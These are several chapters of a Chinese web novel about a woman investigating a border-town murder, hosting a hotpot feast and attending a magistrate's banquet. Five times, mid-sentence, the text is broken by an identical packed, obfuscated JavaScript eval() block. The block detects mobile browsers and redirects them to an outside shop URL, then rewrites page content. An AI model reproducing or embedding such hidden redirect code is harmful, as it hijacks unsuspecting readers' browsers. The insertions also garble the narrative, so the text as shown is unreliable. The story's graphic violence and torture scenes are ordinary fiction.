这里是龙沙镇的边缘，走过坚硬的戈壁，就能看见绿洲和稀疏的人烟。 再向西北走，则又是荒漠，劲风卷吹的沙土铺天盖地。 “咴儿咴儿。”白驹已经发出抗议。 相对于普通的战马，它跟随主人走南闯北，练就了强健体魄和坚韧耐力。 但此处地形复杂，几乎被粗沙、砾石所覆盖，白驹的四蹄已经在原地踏来踏去不肯前进。 “小祖宗，就靠你了。”桂枝儿爱惜地将水囊解下来喂它，“找匹骆驼还得再耽搁一天。” 她顺了顺马毛，吹捧道：“就你这导航能力和直觉，一个时辰就到了。” 桂枝儿还真不是忽悠。 龙沙镇最危险的地带乃是大西北无人区，即使有当地人带路，桂枝儿也不会贸然前往。 系统进度没拉满之前，她还是很惜命的。 但从南部边缘到绿洲，有路标指引，只需一匹好马。 “咈哧。”白驹大口喘气，仿佛在嫌天气热。 虽然同是北境的冬日，但架不住此地表层没有植被遮掩，沙子和岩石直面太阳照射，迅速吸收热量又释放。 “来，冲个澡。”桂枝儿见四下无人，闭目冥想几秒，一小桶凉水凭空出现。 她先是将水囊灌满，然后用剩下的凉水直接对着马儿倾泻而下，着重照顾了筋腱部位。 “这要是累坏了，怎么跟你的主人交代。”她又变戏法一般，端出一盆绿豆汤。 “咴儿咴儿。”白驹舔了一口，兴奋地鸣叫，深邃的大眼中充满了不可思议。 桂枝儿将盆放置在地面，清新怡人的绿豆汤解暑可口。 抬眼望去，远方金黄色的沙土平滑，球状仙人掌的针刺张牙舞爪。 一只沙漠狐从洞里钻出来，小短腿灵活地跑了几步，在地面留下梅花似的脚印。 “吱吱。”它的眼睛狡黠机灵，黑不溜秋。 镇北府下辖四个县，各有特色——其中就包括龙沙镇的狐，榆塞关的路。 沙漠狐体积不大，耳朵和脸都是尖尖的。 “嘿，这小玩意一看就就是犟种。”桂枝儿好笑地冲它招招手，逗狗一般。 她听人讲过，沙漠狐竖立耳廓里的绒毛越多，性格就越倔。 “嘶。”沙漠狐果然龇牙，后退两步摆出恐吓的姿态。 但恰好一阵风刮过，它被吹得睁不开眼，眯成一条缝，躲在荆棘丛旁边。 桂枝儿眼疾手快，一把揪住它毛茸茸的大尾巴。 “赏你两口绿豆汤。”她好心好意招待。 “吱吱。”沙漠狐耸动鼻尖，没忍住伸出小舌头舔了两口，而后眼中精光乍现，痛痛快快地喝了起来。 直到桂枝儿骑上白马赶路，小狐狸依旧恋恋不舍。 “回见。”桂枝儿摆摆手。 旅途漫漫，她偏爱招猫喂鸟，给自己找些乐子。 一个时辰后，桂枝儿总算看见了龙沙镇的城门。 由于缺少合适的原材料，工匠们因地制宜、就地取材，颇具创造性地将红柳、芦苇、芨芨草等运用到城墙建筑中。 只是这效果……差强人意。 桂枝儿甚至能在城墙底部，看到疑似沙漠狐刨的洞。 “来者何人。”守城军士懒洋洋地问道。 语调有气无力，足见被烈日毒打后的懈怠。龙沙镇凭借不过万的人口，恶劣的地理环境，让任何有歹心的侵略者都懒得看一眼。 被分配到这里的军士，平日里站岗，轮休还要靠自己屯田种植。 至于饷银，偶尔发个三瓜俩枣，剩余的就欠着。 桂枝儿递上令牌问：“这位小哥，县衙怎么走？” 军士微微站直了身子，不冷不热地回复：“喏，你顺着这大路，走上一里，再左拐……” “自家熬的绿豆汤，给军爷解解渴。”桂枝儿懂事地递上装满水的葫芦。 原是颗粒饱满的绿豆经过淘洗、浸泡后，熬成的汤呈碧绿色。 桂枝儿还捞起了多余的绿豆泥，再放入微量桂花酱做调味。 军士抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712099|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一口，清香可口，从口腔到咽喉瞬间精神。 他器宇轩昂地喊道：“李哥帮我执会儿勤，我送这位娘子去趟县衙处理公干。” 看来美食才是硬通货。 不料来到县衙又扑了个空。 据幕僚说，县令大人去沙漠猎鹰了。 “龙、沙都是这儿的大姓，你要是寻人办事，直接找宗族族长，保管比县令都好使。”军士偷摸告诉桂枝儿小道消息。 只得再辗转去往沙家。 老族长的身材已经有些佝偻，但精神依旧矍铄。 他的皮肤似陈年青铜，带着褶皱和斑驳，拄着拐杖走出见客，时不时咳嗽两声。 “那个不孝子又犯什么事了？” “见过老族长，听闻沙井田将寡母带到凌河县安葬，不知……” “放屁！”族长把拐杖一跺，当场咆哮。 老人家唾沫星子都快溅到桂枝儿脸上了：“他个王八羔子，去年他老母殒了，我派人到凌河找他。” “你猜怎么着？” “他？赌红了眼都住在赌场了！” 怒火在老族长的皱纹中涌动，他脸颊变得涨红，音量提高，语气严厉坚决。 桂枝儿惊诧地张了张嘴。 按老族长的说法，沙母从停灵出殡到谢孝圆坟，一切俱是由宗族操作的。 由于沙父只是穷困潦倒的旁支，宗族还垫付了下葬开销。 而嫌疑人沙井田，早就被愤怒的老族长直接开除族谱。 “家丑不可外扬。”老族长叹了口气，“今日若不是你有知府令查案，老朽也不欲多言。” 最终，老族长向桂枝儿引见了守墓人。 连绵的沙丘本是一抹单调的黄色，随着暮色降临，气温逐渐变低。 未消融的冰雪在沙脊上勾勒出波纹，矗立其中的胡杨也满身银白，平添了几分浪漫。 面前则是石柱堆砌出的塔台，高耸巍峨。 台上，一排排棺材被钉死。 遗体在干旱的沙漠很快就会脱水，再择机举行下葬仪式，这便是龙沙镇独有的—— 白布裹尸，连棺火葬。 25. 三种锅底 “早就烧透了，去见太阳神了。”守墓人只一句话。 尸体灰飞烟灭，那么沙井田运回凌河县的棺椁便十分可疑。 桂枝儿心下了然。 乌什拓跋真奇袭失败之前，达奴人没必要冒险进城。 正因部落荣誉受损，睚眦必报的游牧劫匪才会派出暗探。在此时间段，一个赌狗带着假棺入城。 不是犯人也是帮凶，基本死刑没跑了。 “呼”的一声哨响，荒漠雕鸮贴地飞行。 它的面盘呈淡棕黄色，夹杂褐色细斑，钩曲的喙显得十分凶恶，尖锐的爪收紧猎物。 “是县令大人在训鹰。”守墓人见桂枝儿好奇，向这个没见识的外乡人解释道。 只见一名身着镶嵌毛领棕色皮衣的女子，骑着马英姿飒爽，一闪而过。 腾起的沙土后方，是几个勉力追随的侍从。 龙沙镇的县令是女子？ 在纷乱的边境做到七品官，绝非凡人。 要调查的事情已明晰，桂枝儿并未上前攀谈，兼之夜晚温度骤降，急需找个地方安顿。 沙家老族长发话，腾出一间客房。 房屋很原始，桂枝儿仔细一看，大约是用粗壮的胡杨枝干做成房梁。 墙面则是用细红柳枝条扎的，房顶是用芦苇铺的。 最后再用河底的淤泥一抹，别看它简陋粗糙，却能起到挡风保温的作用。 “代我多谢族长好意。”桂枝儿确认白驹也有了保暖的马棚后，才肯歇息。 沙漠地带有句俗语——早穿棉袄午穿纱。 夜晚太阳落下，地面热量持续降低，寒冷侵蚀被褥，桂枝儿偷偷摸摸贴上几个暖宝宝方可安心。 囫囵一夜的她并不知，远在中心府城，依旧有人惦记着。 “人有消息了吗？”管家面对暗探不苟言笑。 平日里习惯伏低做小，似个只会圆滑奉承的老好人，此时却面色严肃。 “回大管家，在十二堡断了线索，大概是往龙沙镇的方向去了。” 暗探伏跪在地，瑟缩着身子不敢抬头。 “呵，大概？”管家一声冷笑，阴沉着脸，嗓音逐渐变尖。 “找不到人也不要紧。”刘善渊温润的声音响起，他赤足缓步走出，刚沐浴完的长发湿漉漉的。 白皙的手指拿起管家的匕首，出鞘。 锋利的刃抵住暗探的咽喉。 “桂小娘子献上的混凝土方子，在城南煅烧几日没什么成果。”刘善渊叹了口气。 “既然不能当面请教她，不如把你也扔进去烧一烧，或许就成了。” 他微微一笑，窗外明月别枝惊鹊。 “稚子抱金过闹市，不是傻，就是有所依仗。”刘善渊洗干净手，再次叮嘱管家。 他换上入睡着的一袭青丝长衫，身如玉树，消瘦的身形被突显得玲珑剔透。 “挖出她背后藏着的人，找到所有秘方和兵器。” “是，老爷。” 腊月十八，接到报信的骆县令，一改往日犹豫不决，神速抓获疑犯沙井田，及其藏匿在赌场的达奴人。 断案他央求了知府，抓捕也不例外。 由边防北境第一军出人出力。 骆县令深知，自己没本事，就得摇人帮忙啊！ “说到底，还是我们城防有漏洞。”栾霜柏佩服地竖起大拇指，“桂姑娘神机妙算。” 他今日着深蓝色棉马甲，不过短短十几日，伤口已经恢复得相当好。 少年意气风发，展现出藤蔓般顽强蓬勃的生机。 桂枝儿从张家绸缎铺取走定制的大襟窄袖棉袄，纯素浅蓝与外搭的银灰披风配色协调。 二人并排而立，端的像一对才子佳人。 “要我说，再遇到这种情况，就派士兵陪同下葬，埋土里三天三夜，就是龟息憋气丸都不好使。” 桂枝儿朝栾霜柏抛出两颗小果子。 “这倒可行，总不能真掀开人家的棺材板。”栾霜柏用手搓了搓橙黄色的野果，直接送进嘴里。 下一瞬，少年眉头紧皱，酸得脸都变形了。 “哈哈哈哈哈，这可是龙沙镇的沙棘果。”桂枝儿得逞，拍拍手就走。 离开凌河县前，答应请比武优胜的军士吃大餐，她得简单准备一番。 展示厨艺，不仅是为了完成系统任务。 对于热爱制作美食的人来说，这也是一种别样的解压和休闲方式。 案板上有鲜嫩的现切肉片，饱满的手打肉丸。 削完皮泡在水中的土豆，各色蔬菜和豆制品也依次排开。 冬日严寒，滚烫的涮火锅是最令人难以抵挡的诱惑。 桂枝儿斟酌着搭配料包。 她先用小火慢熬骨头汤，再深吸一口气，鲜香呛鼻，麻辣的红油锅已经成型。 最后将番茄去皮切碎，洋葱和姜片一同下锅爆炒，酸甜的番茄锅也尽在掌握之中。 三种锅底，任君挑选。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712100|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “桂小娘子，待县令大人将案件初审完毕后，需要押解犯人送中心府城衙门。” 侍从自桂枝儿回到凌河县后几乎寸步不离。 “知道了知道了。”桂枝儿厌倦地摆摆手。 “之前跟我的那两位呢？”她并不喜欢这种被监视的感觉，“你们轮班换人了？” 驼色棉袍侍从只是沉默。 桂枝儿自觉没趣，亦不再多问。 围坐在炉火旁，眼见锅底咕嘟咕嘟冒着热气，赴一场喧嚣盛宴，暖意油然而生。 虽从未见过火锅这种新奇吃法，但通过桂枝儿的简单介绍，俱已迫不及待。 “我以茶代酒，敬姑娘一杯。”有屯长张罗了一声，大家纷纷响应。 美食固然诱人。 桂枝儿提出的克制达奴人的军事策略，以及运送来的连弩，才是她备受重视的根源。 再者，《桂姑娘巧断案》已经成了茶馆最新的话本子，一时间名声大噪。 “多谢各位长官抬举。”桂枝儿一饮而尽。 火锅里开满了花椒，翻滚着鱼豆腐和肉片，煮沸的红油麻醉了舌头。 客套话说完，便是你一筷子如出剑，我一勺子如砍刀，在餐桌上厮杀起来。 “吴老六，你给我留一口！” “什长，我方才可是赢了你半招呢，这片肉归我。” “嘿你个小兔崽子，无法无天。” 众人哄笑起来，气氛愈发热烈。 随着肉丸子在口中爆汁，越嚼越弹牙，栾霜柏恨不得再添十碗大米饭。 他抢的肉最多，多半用公筷夹到了桂枝儿碗里，叠成山尖尖。 “我看年前，达奴人还会再伺机而动。”桂枝儿并不愿破坏祥和的气氛。 她嚼着土豆片，低声跟栾霜柏唠嗑。 任何世界，作为局外人参与过多，便有了羁绊，遇事也会更加在意。 “我对训练成果有信心。”栾霜柏自信地咧嘴一笑，“姑娘，你这么聪明，还有没有什么别的退敌妙招啊？” 又来一个求仙问卜的。 桂枝儿道：“对付骑兵，我建议你们集体喊一声‘吁’，看看马儿能停步不。” “妙啊！”没想到随口一句玩笑话，栾霜柏竟认真点头。 桂枝儿摇摇脑袋，觉得新任少将军太蠢，北境恐怕要完蛋了。 她决定终结话题：“你牙上沾了辣子。” 对面少年撤回了一个活泼开朗的露齿笑。 26. 府邸夜宴 沙井田，男，龙沙镇户籍。 未有婚姻无子女，绰号沙皮狗。 他生得瘦小，外貌奇特，额头有很浓重的抬头纹，皮肤质感粗糙。 双眼被毛巾蒙住，双手背在身后用铁链缠紧。 绳子一头栓住腕间手铐，另一头悬高，吊得他双脚点地。 “官老爷，饶了我吧，我再也不敢了。”沙井田哀嚎着，因为眼睛看不见，恐惧倍增。 负责做笔录的典狱员装聋，只顾挥毫泼墨。 通判：你可知罪？ 沙：青天大老爷，我是欠了赌场银子，可庄家在赌桌上出千，那骰子一定有问题！ 通判：莫讲不相干的事！ 你只如实招待，腊月初八进城，你带的棺椁里，究竟装了什么？ 鲁家酒馆的六口人，是不是你杀的？ 沙：我、我、我哪里敢杀人。 通判：还狡辩！哼，请你吃刚出锅的黄米饭，蘸了凉水，一进肚子热气就冒出来，把你的肠胃烫烂。 （这段删掉，不要往卷宗上记。） 左右捕快端着饭碗就冲上来，向沙井田口中硬塞。 “呜呜呜。”沙井田大力挣扎，吓得眼泪鼻涕一齐冒出来，竟然还失禁了。 “坦白从宽，抗拒从严！被你藏起来的那个达奴人，已经都招供了。”通判继续恐吓。 作为赌棍，沙井田本就是个软骨头。 在官老爷的权威面前，撑不到一刻钟，就摊牌了。 原来，他嗜赌成性，输的钱太多，在赌场和钱庄都被拉了黑名单。 怕被放高利贷的打手们捉住，只得逃跑。 “小的开了回户籍地的路引，又只敢在城外乱晃。” 沙井田泣不成声，抬头纹拧在一起，成了解不开的丑疙瘩。 生母离世时他不管不顾，太过畜生，自然无法厚着脸皮回家乡避风头。 “不知怎的，就被达奴人抓了。” “许我一百两纹银，只要能带他们进城。” “刀架在脖子上，我不敢不从啊，那、那棺材里，就是你们抓到的匪徒，是他逼我的！” 沙井田宛如一个被无辜冤枉的良民，涕泗横流，依旧哭喊着冤枉。 他的手腕已经被勒得涨红，胳膊疼痛近乎脱臼。 一旦撬开了口，就如竹筒倒豆子，说了个一干二净。 之后的事充满巧合。 达奴人本欲摸清边防北境第一军的营地布局和兵力，再伺机将消息通过沙井田传递出去。 可那夜月黑风高，路过附近酒馆时，二人争执起来。 “说好的一百两纹银，这才区区五十两。”沙井田壮着胆子讨钱。 人为财死，鸟为食亡。 五十两仅还清了债务，剩的零头还不够他赌几把牌九。 “会给，要送完，消息。” 达奴间谍的官话不甚标准，对贪财怕死的沙井田也没什么耐心。 他身材魁梧，目露凶光，仿佛一头即将扑向猎物的猛兽，让人不寒而栗。 不过些许口角，原不是大事。 沙井田坐地起价不成，也就罢了。 可偏偏鲁家酒馆的当家人起夜，听到有人声，疑心是小毛贼，摸起墙角的棍子就走出门来。 “沙皮狗，你半夜不睡觉，反跑到这里干甚？” 当家的一声怒喝，如同惊雷炸响。 完了。 沙井田眼前一片猩红。 一瞬间，当家的咽喉处喷溅出鲜血。 他半个脖子被割开，只留下一个缺口，大得足够塞进去一个馒头。一股暖流顺着脖子往外流淌，如同被淹在水中，喘不上气。 气管里都是血，堵住了。 弯刀出鞘，原来这么快。 沙井田哆嗦着不知所措，身子骨像散架了一样要往地上瘫。 “尸体，拖进门。”达奴间谍比划了个手势，见他烂泥扶不上墙，便自己行动了。 草原惯用的弯刀与中原不同，杀人定会留下线索。 达奴间谍摸到鲁家小酒馆的后厨。 铁塔般的壮汉抄起一把菜刀，手起刀落，剁下了当家的头颅。 恰在此时，一声婴儿的啼哭再次划破寂静。 “他拿弯刀捅人，然后像剁肉馅一样……”沙井田说着说着，眼前又浮现了那惨绝人寰的场面。 “哇”的一声，胃里吐出酸水。 一家六口，无一幸免。 在监牢外旁听的桂枝儿冷笑。 她低声询问栾霜柏：“验尸时你看到了，反复切砍的菜刀印记凌乱，深浅不一，关键是，非常多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712101|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说，他难道没参与毁尸吗？” 栾霜柏悚然一惊。 至此，井里遗弃的两件血衣找到了主人。 身量不到七尺，一个魁梧，一个羸弱，均已满足。 沙井田害怕自己小命难保，只得将达奴间谍带进赌场藏匿。 此地人流复杂，常有赌徒日夜吃住在此，瞒过一日是一日。 案情大致梳理完毕。 骆县令备下晚宴，名义上是感谢桂枝儿与栾霜柏的鼎力相助。 是夜银河斜映，繁星微闪。 星斗垂垂似只手可拈，桂枝慢腾腾走进骆县令的府邸，还是微微惊讶了一下。 难以想象，一员六七品芝麻官，在北境这等苦寒之地，仍能再塑江南山水园林。 假石叠嶂，流水潺潺。 冬日寒冷绿色植物不宜生存，便用小型的马尾松、柏树替代。 仆从挑着各式各样精巧的灯笼引路。 “栾少将军，桂小娘子。”骆县令依旧是一袭长袍，风度翩翩。 “你们二人肯赏光，寒舍蓬荜生辉。”他左手抚着长须美髯，右手做出迎客姿势。 桂枝儿和栾霜柏不清楚他葫芦里卖的什么药。 两人跟进整个案件，已经摸透这位县令大人的作风。 遇事乃是又怕又躲，没个主见。 如今上赶着往跟前凑，指定是黄鼠狼给鸡拜年——没安好心。 “大人客气了，您慈心为民、秉公执法，能被凌河县的百姓父母官邀请，才是草民的福气。” 不就是夸捧吗，恭维的话又不要钱，桂枝儿张口就来。 栾霜柏眼皮一跳。 以他的官场情商，只能临时吭哧瘪肚搜刮了几句话。 骆县令被二人哄得面露喜色。 “没想到姑娘会夸县令。”栾霜柏瞥了身旁女子一眼，暗中用神情示意。 看你浓眉大眼的，居然也会拍马屁呢。 “小将军也好。”桂枝儿摆了个口型。 她俏皮地竖起拇指，嘴角微微上翘，秋水明眸似月牙般弯弯的。 灯笼光影摇曳，映衬女子面庞如梦如幻，两人同行肩并肩密密地挨着。 应酬晚宴也不全是件坏事，何况今夜月色这么美。 栾霜柏心想。 27. 饥饿营销 隆冬晚宴，无曲不成席。 中庭烛火通明，香熏罗幕下，先是听乐观舞。 伴随着琵琶独奏与“咚咚”的擂鼓声，青黛画眉的女子戴着金钿，如彩凤飞入，翩翩起舞。 整顿袖袍呈玉腕，楚楚动人踩五弦。 舞曲进入高潮，女子面纱飘散。 只见她挥动软剑，眼神凌厉，一时间杀气四溢。 “嘶。”栾霜柏身子绷紧，进入戒备状态。 虽然软剑并未开刃，众人只当这是一场华丽的剑舞表演，但他能窥见女子有些功底在身。 “居然请动柳千金来凌河，看来天价出场费对骆县令来说，不在话下。”桂枝儿与众人一同鼓掌。 她瞥见栾霜柏的手指握紧木箸，青筋暴起，似乎稍有不对就准备当做暗器投掷。 “放宽心。”桂枝儿低声解释，“邀月楼的花魁，练过刀马旦，是童子功。” 栾霜柏这才松了口气，摸了摸鼻子掩饰尴尬。 桂枝儿饶有趣味地一笑。 论武功，她还没尽全力与栾霜柏比试过。 席面上摆满了菜肴、点心、水果与美酒，尤以冻梨最为珍贵特别。 这是入冬后精选的花盖梨和秋白梨，被冰雪冻成乌黑色，硬邦邦的，如今已经“缓”了一阵子。 桂枝儿取了一个，面对栾霜柏好奇的眼神，轻轻捏碎外层包围着的冰，问道：“尝一口？” “多谢姑娘。”栾霜柏接过，小心翼翼地咬下去。 入口冰凉，口感绵密。 就喜欢看少年这没见过世面的样子。 桂枝儿眼角眉梢蓄满了笑意。 几轮敬酒后，是大型宴席的小憩时间。 主人家骆县令净过手，换了件便装，唤来小厮暗中嘱咐：“把备好的礼品送到门外马车上。” “玉器珠宝也就罢了，那幅画千万要当心，莫出纰漏！” “是，大人放心，小的这就去办。” 仆从了然，这可是副珍贵名画。 今日晚宴有两个议题。 一则是眼前事，一则是过完年后的头等大事。 “达奴人神不知鬼不觉，敢对城内百姓下手，我等性命堪忧啊！”一位大腹便便的豪绅摇头叹息。 “不错，这些劫匪所到之处，寸草不生。” “眼看就要过年了，只怕是不安稳！” 今晚列席的，都是凌河县有头有脸的人物。 在北境这等边远县城，强龙不压地头蛇。 地主有钱，胥吏有权，一个被贬的外来官，怎能同时对付黑白两道？ 若是刻意使绊子，教你连方言都听不懂，还怎么开展工作？ 骆县令陪着笑脸周旋：“各位乡绅说得有理啊，栾小将军，这事你怎么看？” 栾霜柏端起眼前的酒杯一饮而尽。 怕战乱、怕死，是人之常情，尤其是这些富得流油的大地主们。 但想要调动边防北境第一军的人马，来为他们驻守府邸，却是有些过分了。 “城外悬天古道，是梅山另一侧，东北乞颜乌什部落攻入我们凌河的唯一入口。” 栾霜柏掷地有声，拿起一根木箸蘸水，竟在桌面画起了示意图。 随着少年手腕转动，城门口的地形被勾勒得惟妙惟肖。 悬天古道，盘旋于梅山深河峡谷的峭壁之上。 宽处能交错会车，窄处仅容单枪匹马通行，因山高谷深，其落差达上千米。 等到春汛来临，冰雪融水就汇聚成了凌河。 “古道有七十二拐，遥想当年，经略大将军在此驻守，达奴人始终无法越城门一步。” 栾霜柏讲解战役的时候，眼神专注而明亮，仿佛无论遇到什么困难，他都能克服。 几十年前旌旗烈烈、人喊马嘶的场景，随着他的描述跃入眼帘。 “嚯，经略大将军我们都知道。”大腹便便的豪绅依旧最先发话，“那是——大梁开国功勋！” 他拖长音调，上下打量了一番栾霜柏：“虽说自古英雄出少年。” “可人家大将军是配享太庙的！” 言下之意，你一个先锋少将，不过毛头小子，怎能安抚人心。 被人鄙视，栾霜柏并不生气。 文官可逞口舌之快，武将向来以实力为王。 新科武状元，是他一拳一脚打出来的，北境第一军肯听他的指挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712102|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也是真刀真枪比试出来的。 “城防战术布置乃是机密，诸位只要相信……”栾霜柏话还没说完就被打断。 “小将军，我们身家性命都在凌河，赌不起。”另一位身材颀长的干瘦老人，啐出口中茶叶道。 比起单纯的富商，像他这种有科举的功名在身的地主，更为难缠。 凭借大量佃农和雇农，肆意开垦私田，官府也不敢拿他怎么样。 眼见局面僵持住，骆县令抹了抹额头的汗珠。 两边都是大爷，得罪不起。 当官也太难了。 围观许久的桂枝儿好心，扯了扯栾霜柏的袖子。 “本部军士不能成为豪绅的私兵，但他们的家丁可以来校场参训学习啊。”桂枝儿压低了声音。 搞个军营开放月嘛，干脆把家丁都收拢成民兵。 她双手比划出将箭矢搭在弓弦上的动作，神采飞扬。 一拉即至满弦，瞄准目标，射击。 栾霜柏恍然大悟。 这是要以知府大人提供的连弩作为诱饵，反客为主。 连弩虽好，但仅对轻骑兵有奇效，本就是为民兵团体准备的。训练有素的正式兵，用强弓反而更趁手。 得到点拨的栾霜柏，瞬间挺直了脊梁。 “诸位乡亲，我有一个建议……” 他将桂枝儿的提议大概转述一番，尤其着重描绘了新武器的威力。 “家丁们经过我军训练，人手一把连弩破甲射穿，不要说掩护各位，就是反杀达奴人都不在话下！” 如战前动员般，语调热血沸腾，极具煽动力。 “真有这么厉害？”地主豪绅们微微有些心动。 送去一个家丁，收获一个士兵。 好像不亏？ 再说了，就算军队肯派人来驻守府邸，也只是一时妥协，仆从总归才是自家雇佣的人。 大腹便便的豪绅眼珠子一转，问出另一个关键问题：“小将军所说的这个连弩，训练后能给我们带走吗？” 桂枝儿闻言，再次拉了拉栾霜柏的袖口。 “库存有限，先到先得，收费租用！” 必须要搞饥饿营销！ 28. 好意贿赂 若真是天大的好事，官府难道会免费送？ 肯定要收银子啊！ 桂枝儿的方案，正中下怀，属于是把地主豪绅们的心思稳稳拿捏住了。 最要紧的事谈妥，第二个议题，众人就兴致缺缺了。 “春闱是明年的头等大事，各地及国子监考生均汇聚杭京，我们镇北府本就人才稀缺，今年凌河仅十五名举子应试。” 骆县令抚着长须叹息，颇有爱才之意。 在大梁想当文官，总的来说就三种路径。 一是不差钱，如骆县令本人靠的就是捐官买官。 二是举孝廉，名气大的能人异士，遇到伯乐推荐。 三就是正规路子，学而优则仕，参加科举千里挑一。 “不过些许车马费嘛，咱们赞助就是了。”身材颀长的干瘦老人晃了晃茶盖，不以为意。 旁的豪绅可能文化程度有限，但他心里门儿清。 “早些年，先帝钦定名额、分省录取，咱们北境还有一争之力。”老人摆摆手，“如今，哎……” 他虽说的含糊，桂枝儿也能猜到大概。 分省取士，是照顾偏远地区一种手段。 若在全国范围内，以考试成绩定输赢，那么落后的镇北、巴蜀、岭南等地，搞不好就会全军覆没。 只有保证每个省都录取进士，才能相对维护科考的公平、公正。 如今，这个制度取消了。 “这、这，有志者事竟成，对于人才，我们定是要尽力托举的。”骆县令被驳了面子，依旧在争取。 桂枝儿拈起一块点心，心下疑惑。 这骆大人，面对恶劣凶杀案都没这么上心，却愿意为考生发声，图什么呢？ 时辰渐晚，灯火阑珊。 黑夜浓稠得如同砚台磨出的墨，宴会散场，县令的府邸门口已经聚集了前来接送的马车。 “姑娘，适才多谢指教。”栾霜柏揖手行礼。 “何必客气。”桂枝儿笑了，她今晚贪喝几杯米酒，面颊添上一丝绯红，竟显得妩媚动人。 往常璀璨的双眸，也似蒙上一层薄雾。 “明儿我就走了。”桂枝儿在少年的愣神中摆了摆手，“后会有期。” 她一跃而上，灵巧地钻进马车里。 “桂姑娘，一路顺风。”栾霜柏目送马车吱吱呀呀走远。 他克制不住，思绪纷飞，不知下一次再见面是什么时候。 总归……不会太久吧？ 中心府城和凌河县离得这么近。 栾霜柏心中暗自欣喜，默默享受着这份隐秘的快乐。 而桂枝儿，在马车行驶过两条巷子的时候，感觉到了不对劲。 马儿吃力地伸长了脖颈，呼吸沉重急促。 车轮则陷进土路中，仿佛每次转动都在和淤泥较量。 车上的重量不对。 桂枝儿顷刻间清醒了大半，心跳加速，或许是因为酒喝多了，又渐渐有些头晕。 恰在此时，另一辆马车不远不近跟了上来。 “踏踏踏。”马蹄着地。 “吱嘎吱嘎。”车的零部件勉力支撑。 一声凄厉悠长的乌鸦啼叫，也加入这场合奏乐中，将黑夜激起层层涟漪。 桂枝儿深吸一口气，闭目沉思，准备从空间里挑个趁手的武器出来。 月黑风高夜，正是杀人放火时。 难道最近得罪了什么人？ “小娘子也知不等等奴家，这大晚上漆黑的路，多吓人啊。”声音娇媚如在耳畔吹过的花瓣，带来香气。 桂枝儿掀开帘子回头。 后方车辆载着柳千金，她盛装似初绽的玫瑰，肌肤细腻如雪，发丝垂落，娇嗔打着招呼。 一旁是负责监管的铁塔壮汉，手提灯笼，将她的美貌照得更加绚烂。 哪里漆黑，哪里吓人了。 虚惊一场。 桂枝儿疲惫地点了个头，以示招呼。 然后扭头对县令府邸跟随送行的小厮，询问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712103|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“这马车里，是不是装什么货物了？” “哎呦小娘子，原是想送您到客栈再说的。”仆从尴尬地鞠躬行礼，“后箱备了些心意，给各位来客带回家。” 沉甸甸的份量，想来礼重情意也重。 桂枝儿更加想不明白了，堂堂统领千户县的六品官，竟然给她一个平民百姓送礼？ 简直倒反天罡。 “有京城最时兴的绸缎和胭脂，几个别致的珠宝首饰……”仆从低声交代。 “另有些笔墨字画，劳烦您带给刘大人。” 懂了，原来是当个二传手，中间人。 桂枝儿回想起骆县令与她同行的那个暴风雪夜，曾提到过略备薄礼，知府却不肯收。 桂枝儿无奈地揉了揉太阳穴，紧闭双眼。 骆县令好意贿赂，但只怕不太会送礼。 绸缎胭脂她并不看重，笔墨字画，想来知府大人也不会感兴趣。 她脑海中回忆起，刘善渊端坐在高堂的阴影中，面色苍白，神情倦怠的样子。 两辆马车并排停在“春和景明”客栈门口。 